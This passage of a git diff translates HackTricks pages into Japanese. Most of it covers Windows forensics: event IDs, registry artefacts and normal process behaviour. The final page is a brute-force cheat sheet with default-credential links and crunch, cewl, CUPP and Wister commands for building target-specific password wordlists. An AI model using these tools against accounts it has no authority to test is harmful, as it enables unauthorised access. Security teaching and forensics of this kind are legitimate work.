+アクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあるセキュリティ構成ファイルに記録されます。このファイルのサイズは調整可能で、容量に達すると古いイベントが上書きされます。記録されたイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダー、および共有資産へのアクセスが含まれます。 -### Key Event IDs for User Authentication: +### ユーザー認証のための主要なイベントID: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**:ユーザーが正常に認証されたことを示します。 +- **EventID 4625**:認証の失敗を示します。 +- **EventIDs 4634/4647**:ユーザーログオフイベントを表します。 +- **EventID 4672**:管理者権限でのログインを示します。 -#### Sub-types within EventID 4634/4647: +#### EventID 4634/4647内のサブタイプ: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **インタラクティブ (2)**:直接ユーザーログイン。 +- **ネットワーク (3)**:共有フォルダーへのアクセス。 +- **バッチ (4)**:バッチプロセスの実行。 +- **サービス (5)**:サービスの起動。 +- **プロキシ (6)**:プロキシ認証。 +- **ロック解除 (7)**:パスワードで画面がロック解除されました。 +- **ネットワーククリアテキスト (8)**:クリアテキストパスワードの送信、通常はIISから。 +- **新しい資格情報 (9)**:アクセスのために異なる資格情報を使用。 +- **リモートインタラクティブ (10)**:リモートデスクトップまたはターミナルサービスのログイン。 +- **キャッシュインタラクティブ (11)**:ドメインコントローラーに連絡せずにキャッシュされた資格情報でログイン。 +- **キャッシュリモートインタラクティブ (12)**:キャッシュされた資格情報でのリモートログイン。 +- **キャッシュロック解除 (13)**:キャッシュされた資格情報でのロック解除。 -#### Status and Sub Status Codes for EventID 4625: +#### EventID 4625のステータスおよびサブステータスコード: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**:ユーザー名が存在しない - ユーザー名列挙攻撃を示す可能性があります。 +- **0xC000006A**:正しいユーザー名だがパスワードが間違っている - パスワード推測またはブルートフォース攻撃の可能性。 +- **0xC0000234**:ユーザーアカウントがロックアウトされている - 複数の失敗したログインの結果としてブルートフォース攻撃が続く可能性があります。 +- **0xC0000072**:アカウントが無効 - 無効なアカウントへの不正アクセスの試み。 +- **0xC000006F**:許可された時間外のログオン - 設定されたログイン時間外のアクセスの試みを示し、不正アクセスの可能性があります。 +- **0xC0000070**:ワークステーション制限の違反 - 不正な場所からのログインの試みの可能性があります。 +- **0xC0000193**:アカウントの有効期限切れ - 有効期限切れのユーザーアカウントへのアクセスの試み。 +- **0xC0000071**:パスワードの有効期限切れ - 古いパスワードでのログインの試み。 +- **0xC0000133**:時間同期の問題 - クライアントとサーバー間の大きな時間の不一致は、パス・ザ・チケットのようなより高度な攻撃を示す可能性があります。 +- **0xC0000224**:必須のパスワード変更が必要 - 頻繁な必須変更は、アカウントセキュリティを不安定にしようとする試みを示唆するかもしれません。 +- **0xC0000225**:セキュリティの問題ではなく、システムバグを示します。 +- **0xC000015b**:拒否されたログオンタイプ - サービスログオンを実行しようとするユーザーなど、不正なログオンタイプでのアクセスの試み。 -#### EventID 4616: +#### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **時間変更**:システム時間の変更、イベントのタイムラインを隠す可能性があります。 -#### EventID 6005 and 6006: +#### EventID 6005および6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **システムの起動とシャットダウン**:EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 -#### EventID 1102: +#### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **ログ削除**:セキュリティログがクリアされることは、違法行為を隠蔽するための赤信号です。 -#### EventIDs for USB Device Tracking: +#### USBデバイストラッキングのためのイベントID: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**:USBデバイスの最初の接続。 +- **10100**:USBドライバーの更新。 +- **EventID 112**:USBデバイス挿入の時間。 -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +これらのログインタイプや資格情報ダンプの機会をシミュレートする実用的な例については、[Altered Securityの詳細ガイド](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)を参照してください。 -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +イベントの詳細、ステータスおよびサブステータスコードは、特にEvent ID 4625でのイベントの原因に関するさらなる洞察を提供します。 -### Recovering Windows Events +### Windowsイベントの回復 -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +削除されたWindowsイベントを回復する可能性を高めるために、疑わしいコンピュータの電源を直接抜いてシャットダウンすることをお勧めします。**Bulk_extractor**は、`.evtx`拡張子を指定する回復ツールで、これらのイベントを回復しようとする際に推奨されます。 -### Identifying Common Attacks via Windows Events +### Windowsイベントを通じて一般的な攻撃を特定する -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +一般的なサイバー攻撃を特定するためにWindowsイベントIDを利用する包括的なガイドについては、[Red Team Recipe](https://redteamrecipe.com/event-codes/)を訪れてください。 -#### Brute Force Attacks +#### ブルートフォース攻撃 -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +複数のEventID 4625レコードによって識別され、攻撃が成功した場合はEventID 4624が続きます。 -#### Time Change +#### 時間変更 -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +EventID 4616によって記録され、システム時間の変更は法医学的分析を複雑にする可能性があります。 -#### USB Device Tracking +#### USBデバイストラッキング -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +USBデバイストラッキングに役立つシステムイベントIDには、初回使用のための20001/20003/10000、ドライバー更新のための10100、挿入タイムスタンプのためのEventID 112が含まれます。 -#### System Power Events +#### システム電源イベント -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 -#### Log Deletion +#### ログ削除 -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. - -
- -{% embed url="https://websec.nl/" %} +セキュリティEventID 1102はログの削除を示し、法医学的分析にとって重要なイベントです。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..ac288a095 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# 興味深いWindowsレジストリキー -### Interesting Windows Registry Keys +### 興味深いWindowsレジストリキー {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windowsバージョンと所有者情報** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- **`Software\Microsoft\Windows NT\CurrentVersion`**に位置し、Windowsのバージョン、サービスパック、インストール時間、登録された所有者の名前が簡潔に表示されます。 -### **Computer Name** +### **コンピュータ名** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- ホスト名は**`System\ControlSet001\Control\ComputerName\ComputerName`**の下にあります。 -### **Time Zone Setting** +### **タイムゾーン設定** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- システムのタイムゾーンは**`System\ControlSet001\Control\TimeZoneInformation`**に保存されています。 -### **Access Time Tracking** +### **アクセス時間の追跡** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- デフォルトでは、最終アクセス時間の追跡はオフになっています(**`NtfsDisableLastAccessUpdate=1`**)。これを有効にするには、次のコマンドを使用します: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Windowsバージョンとサービスパック -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windowsバージョン**はエディション(例:Home、Pro)とそのリリース(例:Windows 10、Windows 11)を示し、**サービスパック**は修正や時には新機能を含む更新です。 -### Enabling Last Access Time +### 最終アクセス時間の有効化 -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- 最終アクセス時間の追跡を有効にすると、ファイルが最後に開かれた時刻を確認でき、法医学的分析やシステム監視にとって重要です。 -### Network Information Details +### ネットワーク情報の詳細 -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- レジストリには、**ネットワークの種類(無線、ケーブル、3G)**や**ネットワークカテゴリ(パブリック、プライベート/ホーム、ドメイン/ワーク)**を含む、ネットワーク構成に関する広範なデータが保持されており、ネットワークセキュリティ設定や権限を理解するために重要です。 -### Client Side Caching (CSC) +### クライアントサイドキャッシング(CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC**は、共有ファイルのコピーをキャッシュすることでオフラインファイルアクセスを向上させます。異なる**CSCFlags**設定は、どのファイルがどのようにキャッシュされるかを制御し、特に接続が不安定な環境でのパフォーマンスやユーザー体験に影響を与えます。 -### AutoStart Programs +### 自動起動プログラム -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- 様々な`Run`および`RunOnce`レジストリキーにリストされているプログラムは、起動時に自動的に起動され、システムのブート時間に影響を与え、マルウェアや不要なソフトウェアを特定するための興味のあるポイントとなる可能性があります。 -### Shellbags +### シェルバッグ -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **シェルバッグ**はフォルダビューの設定を保存するだけでなく、フォルダが存在しなくてもフォルダアクセスの法医学的証拠を提供します。これは、他の手段では明らかでないユーザー活動を明らかにするため、調査にとって非常に貴重です。 -### USB Information and Forensics +### USB情報と法医学 -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- レジストリに保存されたUSBデバイスに関する詳細は、どのデバイスがコンピュータに接続されていたかを追跡するのに役立ち、デバイスを機密ファイル転送や不正アクセスのインシデントに関連付ける可能性があります。 -### Volume Serial Number +### ボリュームシリアル番号 -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **ボリュームシリアル番号**は、ファイルシステムの特定のインスタンスを追跡するのに重要であり、異なるデバイス間でファイルの起源を確立する必要がある法医学的シナリオで役立ちます。 -### **Shutdown Details** +### **シャットダウンの詳細** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- シャットダウン時間とカウント(後者はXPのみ)は、**`System\ControlSet001\Control\Windows`**および**`System\ControlSet001\Control\Watchdog\Display`**に保持されています。 -### **Network Configuration** +### **ネットワーク構成** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- 詳細なネットワークインターフェース情報については、**`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**を参照してください。 +- 最初と最後のネットワーク接続時間(VPN接続を含む)は、**`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**のさまざまなパスに記録されています。 -### **Shared Folders** +### **共有フォルダ** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- 共有フォルダと設定は**`System\ControlSet001\Services\lanmanserver\Shares`**の下にあります。クライアントサイドキャッシング(CSC)設定はオフラインファイルの可用性を決定します。 -### **Programs that Start Automatically** +### **自動的に起動するプログラム** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`**のようなパスや、`Software\Microsoft\Windows\CurrentVersion`の下の類似のエントリは、起動時に実行されるプログラムを詳細に示しています。 -### **Searches and Typed Paths** +### **検索と入力されたパス** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- エクスプローラーの検索と入力されたパスは、**`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**の下でWordwheelQueryおよびTypedPathsとして追跡されます。 -### **Recent Documents and Office Files** +### **最近の文書とOfficeファイル** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- 最近アクセスされた文書とOfficeファイルは、`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`および特定のOfficeバージョンのパスに記録されています。 -### **Most Recently Used (MRU) Items** +### **最も最近使用された(MRU)アイテム** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- 最近のファイルパスやコマンドを示すMRUリストは、`NTUSER.DAT`のさまざまな`ComDlg32`および`Explorer`サブキーに保存されています。 -### **User Activity Tracking** +### **ユーザー活動の追跡** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- ユーザーアシスト機能は、実行回数や最終実行時間を含む詳細なアプリケーション使用統計を**`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**に記録します。 -### **Shellbags Analysis** +### **シェルバッグ分析** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- フォルダアクセスの詳細を明らかにするシェルバッグは、`USRCLASS.DAT`および`NTUSER.DAT`の下の`Software\Microsoft\Windows\Shell`に保存されています。分析には**[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)**を使用してください。 -### **USB Device History** +### **USBデバイスの履歴** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`**および**`HKLM\SYSTEM\ControlSet001\Enum\USB`**には、接続されたUSBデバイスに関する豊富な詳細が含まれており、製造元、製品名、接続タイムスタンプが含まれます。 +- 特定のUSBデバイスに関連付けられたユーザーは、デバイスの**{GUID}**を検索することで特定できます。 +- 最後にマウントされたデバイスとそのボリュームシリアル番号は、それぞれ`System\MountedDevices`および`Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`を通じて追跡できます。 -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +このガイドは、Windowsシステム上の詳細なシステム、ネットワーク、およびユーザー活動情報にアクセスするための重要なパスと方法を要約し、明確さと使いやすさを目指しています。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 06f914970..feda74c93 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -2,105 +2,105 @@ ## smss.exe -**Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +**セッションマネージャ**。\ +セッション0は**csrss.exe**と**wininit.exe**(**OS** **サービス**)を開始し、セッション1は**csrss.exe**と**winlogon.exe**(**ユーザー** **セッション**)を開始します。しかし、プロセスツリーには**子プロセスなしでその** **バイナリ**の**プロセスが1つだけ**表示されるはずです。 -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +また、セッション0と1以外のセッションは、RDPセッションが発生している可能性を示します。 ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**クライアント/サーバー実行サブシステムプロセス**。\ +**プロセス**と**スレッド**を管理し、他のプロセスに**Windows** **API**を提供し、**ドライブレター**をマッピングし、**一時ファイル**を作成し、**シャットダウン** **プロセス**を処理します。 -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +**セッション0に1つ、セッション1にもう1つ**(プロセスツリーに**2つのプロセス**)。新しいセッションごとに**もう1つ**が作成されます。 ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Windowsログオンプロセス**。\ +ユーザーの**ログオン**/**ログオフ**を担当します。**logonui.exe**を起動してユーザー名とパスワードを要求し、その後**lsass.exe**を呼び出してそれらを検証します。 -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +次に、**`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**の**Userinit**キーで指定された**userinit.exe**を起動します。 -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +さらに、前のレジストリには**Shellキー**に**explorer.exe**が含まれている必要があり、そうでない場合は**マルウェアの持続性手法**として悪用される可能性があります。 ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Windows初期化プロセス**。\ +セッション0で**services.exe**、**lsass.exe**、および**lsm.exe**を起動します。プロセスは1つだけであるべきです。 ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Userinitログオンアプリケーション**。\ +**HKCU**の**ntduser.dat**を読み込み、**ユーザー** **環境**を初期化し、**ログオン** **スクリプト**と**GPO**を実行します。 -It launches **explorer.exe**. +**explorer.exe**を起動します。 ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**ローカルセッションマネージャ**。\ +**smss.exe**と連携してユーザーセッションを操作します:ログオン/ログオフ、シェルの開始、デスクトップのロック/ロック解除など。 -After W7 lsm.exe was transformed into a service (lsm.dll). +W7以降、lsm.exeはサービス(lsm.dll)に変わりました。 -There should only be 1 process in W7 and from them a service running the DLL. +W7ではプロセスは1つだけであり、その中にDLLを実行するサービスがあります。 ## services.exe -**Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +**サービスコントロールマネージャ**。\ +**自動起動**として構成された**サービス**と**ドライバ**を**読み込みます**。 -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +これは**svchost.exe**、**dllhost.exe**、**taskhost.exe**、**spoolsv.exe**などの親プロセスです。 -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +サービスは`HKLM\SYSTEM\CurrentControlSet\Services`で定義されており、このプロセスはsc.exeによってクエリ可能なサービス情報のDBをメモリ内に保持します。 -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +**いくつかの** **サービス**が**独自のプロセスで実行され**、他のサービスが**svchost.exeプロセスを共有する**ことに注意してください。 -There should only be 1 process. +プロセスは1つだけであるべきです。 ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**ローカルセキュリティ権限サブシステム**。\ +ユーザーの**認証**を担当し、**セキュリティ** **トークン**を作成します。`HKLM\System\CurrentControlSet\Control\Lsa`にある認証パッケージを使用します。 -It writes to the **Security** **event** **log** and there should only be 1 process. +**セキュリティ** **イベント** **ログ**に書き込み、プロセスは1つだけであるべきです。 -Keep in mind that this process is highly attacked to dump passwords. +このプロセスはパスワードをダンプするために高度に攻撃されることを考慮してください。 ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**汎用サービスホストプロセス**。\ +複数のDLLサービスを1つの共有プロセスでホストします。 -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +通常、**svchost.exe**は`-k`フラグで起動されます。これにより、レジストリ**HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost**にクエリが送信され、-kで言及された引数を持つキーがあり、同じプロセスで起動するサービスが含まれます。 -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +例えば:`-k UnistackSvcGroup`は次のサービスを起動します:`PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +**フラグ`-s`**も引数と共に使用される場合、svchostはこの引数で指定された**サービスのみを起動する**ように要求されます。 -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +`svchost.exe`のプロセスは複数存在します。いずれかが**`-k`フラグを使用していない**場合、それは非常に疑わしいです。**services.exeが親でない**場合も非常に疑わしいです。 ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +このプロセスはDLLから実行されるプロセスのホストとして機能します。また、DLLから実行されるサービスを読み込みます。 -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +W8ではtaskhostex.exeと呼ばれ、W10ではtaskhostw.exeと呼ばれます。 ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +これは**ユーザーのデスクトップ**を担当し、ファイル拡張子を介してファイルを起動するプロセスです。 -**Only 1** process should be spawned **per logged on user.** +**ログオンしているユーザーごとに** **1つだけ**のプロセスが生成されるべきです。 -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +これは**userinit.exe**から実行され、終了する必要があるため、このプロセスの**親**は表示されるべきではありません。 -# Catching Malicious Processes +# 悪意のあるプロセスを捕まえる -- Is it running from the expected path? (No Windows binaries run from temp location) -- Is it communicating with weird IPs? -- Check digital signatures (Microsoft artifacts should be signed) -- Is it spelled correctly? -- Is running under the expected SID? -- Is the parent process the expected one (if any)? -- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +- 期待されるパスから実行されていますか?(Windowsバイナリは一時場所から実行されません) +- 奇妙なIPと通信していますか? +- デジタル署名を確認してください(Microsoftのアーティファクトは署名されているべきです) +- 正しく綴られていますか? +- 期待されるSIDの下で実行されていますか? +- 親プロセスは期待されるものでしょうか(あれば)? +- 子プロセスは期待されるものでしょうか?(cmd.exe、wscript.exe、powershell.exeなどはありませんか?) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 9b2faa122..d4789334a 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,18 +1,10 @@ -# Brute Force - CheatSheet - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} +# ブルートフォース - チートシート {{#include ../banners/hacktricks-training.md}} -## Default Credentials +## デフォルトの資格情報 -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**使用されている技術のデフォルトの資格情報をGoogleで検索**するか、**これらのリンクを試してください**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -27,12 +19,11 @@ Get Access Today: - [**https://many-passwords.github.io/**](https://many-passwords.github.io) - [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **独自の辞書を作成する** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +ターゲットに関する情報をできるだけ多く集めて、カスタム辞書を生成します。役立つツール: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl - ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +被害者に関する知識(名前、日付など)に基づいてパスワードを生成します。 ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +単語のセットを提供することができる単語リストジェネレーターツールで、与えられた単語から複数のバリエーションを作成し、特定のターゲットに関して使用するためのユニークで理想的な単語リストを作成することができます。 ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ - Version 1.0.3 Cycurity +Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% @@ -80,7 +65,6 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) ### Wordlists @@ -96,20 +80,11 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
